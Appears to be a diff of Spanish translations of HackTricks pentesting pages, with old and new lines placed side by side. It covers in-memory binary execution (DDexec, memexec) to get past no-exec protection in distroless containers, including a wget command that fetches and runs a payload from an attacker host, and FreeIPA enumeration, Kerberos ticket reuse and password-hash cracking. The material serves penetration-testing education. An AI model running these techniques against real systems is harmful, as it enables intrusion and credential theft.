Esto no funciona en otros lenguajes de script como PHP o Node porque no tienen una **forma predeterminada de llamar a llamadas de sistema crudas** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **fd de memoria** para almacenar el binario. This doesn't work in other scripting languages like PHP or Node because they don't have any d**efault way to call raw syscalls** from a script, so it's not possible to call `create_memfd` to create the **memory fd** to store the binary.
Además, crear un **fd regular** con un archivo en `/dev/shm` no funcionará, ya que no se te permitirá ejecutarlo debido a que se aplicará la **protección sin ejecución**. Moreover, creating a **regular fd** with a file in `/dev/shm` won't work, as you won't be allowed to run it because the **no-exec protection** will apply.
{% endhint %} {% endhint %}
### DDexec / EverythingExec ### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) es una técnica que te permite **modificar la memoria de tu propio proceso** sobrescribiendo su **`/proc/self/mem`**. [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is a technique that allows you to **modify the memory your own process** by overwriting its **`/proc/self/mem`**.
Por lo tanto, **controlando el código de ensamblaje** que está siendo ejecutado por el proceso, puedes escribir un **shellcode** y "mutar" el proceso para **ejecutar cualquier código arbitrario**. Therefore, **controlling the assembly code** that is being executed by the process, you can write a **shellcode** and "mutate" the process to **execute any arbitrary code**.
{% hint style="success" %} {% hint style="success" %}
**DDexec / EverythingExec** te permitirá cargar y **ejecutar** tu propio **shellcode** o **cualquier binario** desde la **memoria**. **DDexec / EverythingExec** will allow you to load and **execute** your own **shellcode** or **any binary** from **memory**.
{% endhint %} {% endhint %}
```bash ```bash
# Basic example # Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
``` ```
Para obtener más información sobre esta técnica, consulta el Github o: Para más información sobre esta técnica, consulta el Github o:
{% content-ref url="ddexec.md" %} {% content-ref url="ddexec.md" %}
[ddexec.md](ddexec.md) [ddexec.md](ddexec.md)
@ -93,60 +94,61 @@ Para obtener más información sobre esta técnica, consulta el Github o:
### MemExec ### MemExec
[**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **shellcode demonizado de DDexec**, por lo que cada vez que desees **ejecutar un binario diferente** no necesitas volver a lanzar DDexec, simplemente puedes ejecutar el shellcode de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**. [**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **DDexec shellcode demonizado**, por lo que cada vez que quieras **ejecutar un binario diferente** no necesitas relanzar DDexec, solo puedes ejecutar el shellcode de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**.
Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un shell inverso de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un shell reverso PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen ### Memdlopen
Con un propósito similar a DDexec, la técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite una **forma más fácil de cargar binarios** en memoria para luego ejecutarlos. Incluso podría permitir cargar binarios con dependencias. Con un propósito similar al de DDexec, la técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite una **manera más fácil de cargar binarios** en memoria para ejecutarlos más tarde. Podría incluso permitir cargar binarios con dependencias.
## Bypass de Distroless ## Bypass Distroless
### ¿Qué es Distroless? ### Qué es distroless
Los contenedores Distroless contienen solo los **componentes mínimos necesarios para ejecutar una aplicación o servicio específico**, como bibliotecas y dependencias de tiempo de ejecución, pero excluyen componentes más grandes como un gestor de paquetes, shell o utilidades del sistema. Los contenedores distroless contienen solo los **componentes mínimos necesarios para ejecutar una aplicación o servicio específico**, como bibliotecas y dependencias de tiempo de ejecución, pero excluyen componentes más grandes como un gestor de paquetes, shell o utilidades del sistema.
El objetivo de los contenedores Distroless es **reducir la superficie de ataque de los contenedores al eliminar componentes innecesarios** y minimizar la cantidad de vulnerabilidades que pueden ser explotadas. El objetivo de los contenedores distroless es **reducir la superficie de ataque de los contenedores al eliminar componentes innecesarios** y minimizar el número de vulnerabilidades que pueden ser explotadas.
### Shell Inverso ### Shell Reverso
En un contenedor Distroless es posible que **ni siquiera encuentres `sh` o `bash`** para obtener un shell regular. Tampoco encontrarás binarios como `ls`, `whoami`, `id`... todo lo que sueles ejecutar en un sistema. En un contenedor distroless, es posible que **ni siquiera encuentres `sh` o `bash`** para obtener un shell regular. Tampoco encontrarás binarios como `ls`, `whoami`, `id`... todo lo que normalmente ejecutas en un sistema.
{% hint style="warning" %} {% hint style="warning" %}
Por lo tanto, **no** podrás obtener un **shell inverso** o **enumerar** el sistema como sueles hacerlo. Por lo tanto, **no podrás** obtener un **shell reverso** o **enumerar** el sistema como lo haces normalmente.
{% endhint %} {% endhint %}
Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, una aplicación web flask, entonces Python está instalado, y por lo tanto puedes obtener un **shell inverso de Python**. Si está ejecutando node, puedes obtener un shell inverso de Node, y lo mismo con la mayoría de los **lenguajes de script**. Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, un flask web, entonces python está instalado, y por lo tanto puedes obtener un **shell reverso de Python**. Si está ejecutando node, puedes obtener un shell rev de Node, y lo mismo con casi cualquier **lenguaje de scripting**.
{% hint style="success" %} {% hint style="success" %}
Usando el lenguaje de script podrías **enumerar el sistema** utilizando las capacidades del lenguaje. Usando el lenguaje de scripting podrías **enumerar el sistema** utilizando las capacidades del lenguaje.
{% endhint %} {% endhint %}
Si no hay protecciones de **`solo lectura/sin ejecución`** podrías abusar de tu shell inverso para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**. Si no hay protecciones de **solo lectura/sin ejecución**, podrías abusar de tu shell reverso para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
{% hint style="success" %} {% hint style="success" %}
Sin embargo, en este tipo de contenedores estas protecciones generalmente existirán, pero podrías usar las **técnicas de ejecución de memoria anteriores para evadirlas**. Sin embargo, en este tipo de contenedores, estas protecciones generalmente existirán, pero podrías usar las **técnicas de ejecución en memoria anteriores para eludirlas**.
{% endhint %} {% endhint %}
Puedes encontrar **ejemplos** de cómo **explotar algunas vulnerabilidades de RCE** para obtener **shells inversos de lenguajes de script** y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). Puedes encontrar **ejemplos** sobre cómo **explotar algunas vulnerabilidades RCE** para obtener shells reversos de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_). Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# Pentesting de FreeIPA # FreeIPA Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
FreeIPA es una **alternativa** de código abierto a Microsoft Windows **Active Directory**, principalmente para entornos **Unix**. Combina un directorio **LDAP completo** con un Centro de Distribución de Claves MIT **Kerberos** para la gestión similar a Active Directory. Utiliza el Sistema de Certificados Dogtag para la gestión de certificados CA y RA, y admite la autenticación **multifactor**, incluidas las tarjetas inteligentes. SSSD está integrado para procesos de autenticación de Unix. FreeIPA es una **alternativa** de código abierto a **Active Directory** de Microsoft, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utilizando el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, admite autenticación **multifactor**, incluidas las tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix.
## Huellas Digitales ## Huellas
### Archivos y Variables de Entorno ### Archivos y Variables de Entorno
* El archivo en `/etc/krb5.conf` es donde se almacena la información del cliente Kerberos, necesaria para la inscripción en el dominio. Esto incluye las ubicaciones de los KDC y los servidores de administración, configuraciones predeterminadas y asignaciones. * El archivo en `/etc/krb5.conf` es donde se almacena la información del cliente Kerberos, necesaria para la inscripción en el dominio. Esto incluye las ubicaciones de los KDC y servidores administrativos, configuraciones predeterminadas y asignaciones.
* Las configuraciones predeterminadas del sistema para clientes y servidores IPA se establecen en el archivo ubicado en `/etc/ipa/default.conf`. * Los valores predeterminados a nivel de sistema para los clientes y servidores IPA se establecen en el archivo ubicado en `/etc/ipa/default.conf`.
* Los hosts dentro del dominio deben tener un archivo `krb5.keytab` en `/etc/krb5.keytab` para procesos de autenticación. * Los hosts dentro del dominio deben tener un archivo `krb5.keytab` en `/etc/krb5.keytab` para los procesos de autenticación.
* Se utilizan varias variables de entorno (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) para apuntar a archivos específicos y configuraciones relevantes para la autenticación de Kerberos. * Varias variables de entorno (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) se utilizan para apuntar a archivos y configuraciones específicas relevantes para la autenticación Kerberos.
### Binarios ### Binarios
Herramientas como `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` y `kvno` son fundamentales para administrar dominios FreeIPA, manejar tickets de Kerberos, cambiar contraseñas y adquirir tickets de servicio, entre otras funcionalidades. Herramientas como `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` y `kvno` son centrales para gestionar dominios FreeIPA, manejar tickets Kerberos, cambiar contraseñas y adquirir tickets de servicio, entre otras funcionalidades.
### Red ### Red
Se proporciona una ilustración para representar una configuración típica de un servidor FreeIPA. Se proporciona una ilustración para representar una configuración típica de servidor FreeIPA.
## Autenticación ## Autenticación
@ -41,19 +42,19 @@ La autenticación en FreeIPA, aprovechando **Kerberos**, refleja la de **Active
### **Archivos de Tickets CCACHE** ### **Archivos de Tickets CCACHE**
Los archivos CCACHE, almacenados típicamente en **`/tmp`** con permisos **600**, son formatos binarios para almacenar credenciales de Kerberos, importantes para la autenticación sin la contraseña en texto plano del usuario debido a su portabilidad. Analizar un ticket CCACHE se puede hacer utilizando el comando `klist`, y reutilizar un Ticket CCACHE válido implica exportar `KRB5CCNAME` a la ruta del archivo del ticket. Los archivos CCACHE, almacenados típicamente en **`/tmp`** con permisos **600**, son formatos binarios para almacenar credenciales Kerberos, importantes para la autenticación sin la contraseña en texto plano del usuario debido a su portabilidad. El análisis de un ticket CCACHE se puede realizar utilizando el comando `klist`, y reutilizar un Ticket CCACHE válido implica exportar `KRB5CCNAME` a la ruta del archivo del ticket.
### **Unix Keyring** ### **Unix Keyring**
Alternativamente, los Tickets CCACHE se pueden almacenar en el llavero de Linux, ofreciendo más control sobre la gestión de tickets. El alcance del almacenamiento de tickets varía (`KEYRING:nombre`, `KEYRING:proceso:nombre`, `KEYRING:hilo:nombre`, `KEYRING:sessión:nombre`, `KEYRING:persistent:uidnúmero`), con `klist` capaz de analizar esta información para el usuario. Sin embargo, reutilizar un Ticket CCACHE desde el llavero de Unix puede plantear desafíos, con herramientas como **Tickey** disponibles para extraer tickets de Kerberos. Alternativamente, los Tickets CCACHE pueden almacenarse en el keyring de Linux, ofreciendo más control sobre la gestión de tickets. El alcance del almacenamiento de tickets varía (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), siendo `klist` capaz de analizar esta información para el usuario. Sin embargo, reutilizar un Ticket CCACHE del keyring de Unix puede presentar desafíos, con herramientas como **Tickey** disponibles para extraer tickets Kerberos.
### Keytab ### Keytab
Los archivos Keytab, que contienen principios de Kerberos y claves encriptadas, son críticos para obtener tickets de concesión de tickets (TGT) válidos sin necesidad de la contraseña del principio. Analizar y reutilizar credenciales de archivos Keytab se puede realizar fácilmente con utilidades como `klist` y scripts como **KeytabParser**. Los archivos keytab, que contienen principios Kerberos y claves encriptadas, son críticos para obtener tickets de concesión de tickets válidos (TGT) sin necesidad de la contraseña del principio. El análisis y la reutilización de credenciales de archivos keytab se pueden realizar fácilmente con utilidades como `klist` y scripts como **KeytabParser**.
### Cheatsheet ### Cheatsheet
Puedes encontrar más información sobre cómo usar tickets en Linux en el siguiente enlace: Puedes encontrar más información sobre cómo usar tickets en linux en el siguiente enlace:
{% content-ref url="privilege-escalation/linux-active-directory.md" %} {% content-ref url="privilege-escalation/linux-active-directory.md" %}
[linux-active-directory.md](privilege-escalation/linux-active-directory.md) [linux-active-directory.md](privilege-escalation/linux-active-directory.md)
@ -62,18 +63,18 @@ Puedes encontrar más información sobre cómo usar tickets en Linux en el sigui
## Enumeración ## Enumeración
{% hint style="warning" %} {% hint style="warning" %}
Podrías realizar la **enumeración** a través de **ldap** y otras **herramientas binarias**, o **conectándote a la página web en el puerto 443 del servidor FreeIPA**. Puedes realizar la **enumeración** a través de **ldap** y otras herramientas **binarias**, o **conectándote a la página web en el puerto 443 del servidor FreeIPA**.
{% endhint %} {% endhint %}
### Hosts, Usuarios y Grupos <a href="#id-4b3b" id="id-4b3b"></a> ### Hosts, Usuarios y Grupos <a href="#id-4b3b" id="id-4b3b"></a>
Es posible crear **hosts**, **usuarios** y **grupos**. Los hosts y usuarios se clasifican en contenedores llamados "**Grupos de Hosts**" y "**Grupos de Usuarios**" respectivamente. Estos son similares a las **Unidades Organizativas** (OU). Es posible crear **hosts**, **usuarios** y **grupos**. Los hosts y usuarios se organizan en contenedores llamados “**Grupos de Hosts**” y “**Grupos de Usuarios**” respectivamente. Estos son similares a las **Unidades Organizativas** (OU).
De forma predeterminada en FreeIPA, el servidor LDAP permite **vínculos anónimos**, y una gran cantidad de datos son enumerables **sin autenticación**. Esto puede enumerar todos los datos disponibles sin autenticación: Por defecto en FreeIPA, el servidor LDAP permite **vínculos anónimos**, y una gran cantidad de datos es enumerable **no autenticada**. Esto puede enumerar todos los datos disponibles no autenticados:
``` ```
ldapsearch -x ldapsearch -x
``` ```
Para obtener **más información**, necesitas usar una sesión **autenticada** (consulta la sección de Autenticación para aprender cómo preparar una sesión autenticada). Para obtener **más información** necesitas usar una sesión **autenticada** (consulta la sección de Autenticación para aprender cómo preparar una sesión autenticada).
```bash ```bash
# Get all users of domain # Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -87,7 +88,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups # Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
``` ```
Desde una máquina unida al dominio podrás utilizar **binarios instalados** para enumerar el dominio: Desde una máquina unida al dominio, podrás usar **binarios instalados** para enumerar el dominio:
```bash ```bash
ipa user-find ipa user-find
ipa usergroup-find ipa usergroup-find
@ -102,23 +103,23 @@ ipa host-find <host> --all
ipa hostgroup-show <host group> --all ipa hostgroup-show <host group> --all
``` ```
{% hint style="info" %} {% hint style="info" %}
El usuario **admin** de **FreeIPA** es equivalente a los **administradores de dominio** de **AD**. El usuario **admin** de **FreeIPA** es el equivalente a los **administradores de dominio** de **AD**.
{% endhint %} {% endhint %}
### Hashes <a href="#id-482b" id="id-482b"></a> ### Hashes <a href="#id-482b" id="id-482b"></a>
El usuario **root** del **servidor IPA** tiene acceso a los **hashes** de contraseñas. El usuario **root** del servidor **IPA** tiene acceso a los **hashes** de contraseña.
* El hash de la contraseña de un usuario se almacena en formato **base64** en el atributo “**userPassword**”. Este hash puede ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2\_SHA256**. * El hash de contraseña de un usuario se almacena como **base64** en el atributo “**userPassword**”. Este hash puede ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2\_SHA256**.
* El **Nthash** de la contraseña se almacena en formato **base64** en “**ipaNTHash**” si el sistema está integrado con **AD**. * El **Nthash** de la contraseña se almacena como **base64** en “**ipaNTHash**” si el sistema tiene **integración** con **AD**.
Para crackear estos hashes: Para romper estos hashes:
• Si FreeIPA está integrado con AD, el **ipaNTHash** es fácil de crackear: Debes **decodificar** el **base64** -> re-codificarlo como **ASCII** hexadecimal -> John The Ripper o **hashcat** pueden ayudarte a crackearlo rápidamente • Si FreeIPA está integrado con AD, **ipaNTHash** es fácil de romper: Debes **decodificar** **base64** -> volver a codificarlo como **ASCII** hex -> John The Ripper o **hashcat** pueden ayudarte a romperlo rápidamente.
• Si se utiliza una versión antigua de FreeIPA, se utiliza **SSHA512**: Debes decodificar el **base64** -> encontrar el **hash** SSHA512 -> John The Ripper o **hashcat** pueden ayudarte a crackearlo • Si se utiliza una versión antigua de FreeIPA, entonces se usa **SSHA512**: Debes decodificar **base64** -> encontrar el **hash** SSHA512 -> John The Ripper o **hashcat** pueden ayudarte a romperlo.
• Si se utiliza una nueva versión de FreeIPA, se utiliza **PBKDF2\_SHA256**: Debes decodificar el **base64** -> encontrar PBKDF2\_SHA256 -> su **longitud** es de 256 bytes. John puede trabajar con 256 bits (32 bytes) -> SHA-265 se utiliza como función seudoaleatoria, el tamaño del bloque es de 32 bytes -> solo puedes usar los primeros 256 bits de nuestro hash PBKDF2\_SHA256 -> John The Ripper o hashcat pueden ayudarte a crackearlo • Si se utiliza una nueva versión de FreeIPA, entonces se usa **PBKDF2\_SHA256**: Debes decodificar **base64** -> encontrar PBKDF2\_SHA256 -> su **longitud** es de 256 bytes. John puede trabajar con 256 bits (32 bytes) -> SHA-265 se utiliza como la función pseudoaleatoria, el tamaño del bloque es de 32 bytes -> solo puedes usar los primeros 256 bits de nuestro hash PBKDF2\_SHA256 -> John The Ripper o hashcat pueden ayudarte a romperlo.
<figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure>
@ -126,9 +127,9 @@ Para extraer los hashes necesitas ser **root en el servidor FreeIPA**, allí pue
<figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure>
### Reglas HBAC <a href="#id-482b" id="id-482b"></a> ### HBAC-Rules <a href="#id-482b" id="id-482b"></a>
Estas son las reglas que otorgan permisos específicos a usuarios o hosts sobre recursos (hosts, servicios, grupos de servicios...). Son las reglas que otorgan permisos específicos a usuarios o hosts sobre recursos (hosts, servicios, grupos de servicios...)
```bash ```bash
# Enumerate using ldap # Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
@ -137,9 +138,9 @@ ipa hbacrule-find
# Show info of rule # Show info of rule
ipa hbacrule-show <hbacrule> --all ipa hbacrule-show <hbacrule> --all
``` ```
#### Reglas de Sudo #### Sudo-Rules
FreeIPA permite el control centralizado sobre los **permisos de sudo** a través de las reglas de sudo. Estas reglas permiten o limitan la ejecución de comandos con sudo en hosts dentro del dominio. Un atacante podría potencialmente identificar los hosts aplicables, usuarios y comandos permitidos examinando estos conjuntos de reglas. FreeIPA permite el control centralizado sobre **sudo permissions** a través de sudo-rules. Estas reglas permiten o limitan la ejecución de comandos con sudo en los hosts dentro del dominio. Un atacante podría identificar potencialmente los hosts aplicables, usuarios y comandos permitidos al examinar estos conjuntos de reglas.
```bash ```bash
# Enumerate using ldap # Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -150,9 +151,9 @@ ipa sudorule-show <sudorule> --all
``` ```
### Control de Acceso Basado en Roles ### Control de Acceso Basado en Roles
Un **rol** está compuesto por varios **privilegios**, cada uno de los cuales abarca una colección de **permisos**. Estos roles pueden asignarse a Usuarios, **Grupos** de Usuarios, **Anfitriones**, Grupos de Anfitriones y Servicios. Por ejemplo, considera el rol predeterminado de "Administrador de Usuarios" en FreeIPA para ejemplificar esta estructura. Un **rol** se compone de varios **privilegios**, cada uno de los cuales abarca una colección de **permisos**. Estos roles pueden ser asignados a Usuarios, Grupos de Usuarios, **Hosts**, Grupos de Hosts y Servicios. Por ejemplo, considera el rol predeterminado “Administrador de Usuarios” en FreeIPA para ejemplificar esta estructura.
El rol `Administrador de Usuarios` tiene los siguientes privilegios: El rol `Administrador de Usuarios` tiene estos privilegios:
* **Administradores de Usuarios** * **Administradores de Usuarios**
* **Administradores de Grupos** * **Administradores de Grupos**
@ -179,17 +180,17 @@ En [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2) * [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz) * [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
## Elevación de Privilegios ## Privesc
### ~~Creación de usuario root~~ ### ~~creación de usuario root~~
{% hint style="warning" %} {% hint style="warning" %}
Si puedes **crear un nuevo usuario con el nombre `root`**, puedes hacerse pasar por él y ser capaz de **acceder por SSH a cualquier máquina como root.** Si puedes **crear un nuevo usuario con el nombre `root`**, puedes suplantarlo y podrás **SSH en cualquier máquina como root.**
**ESTO HA SIDO PARCHADO.** **ESTO HA SIDO PARCHEADO.**
{% endhint %} {% endhint %}
Puedes ver una explicación detallada en [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) Puedes consultar una explicación detallada en [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
## Referencias ## Referencias
@ -198,16 +199,17 @@ Puedes ver una explicación detallada en [https://posts.specterops.io/attacking-
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1) * [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ) * [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
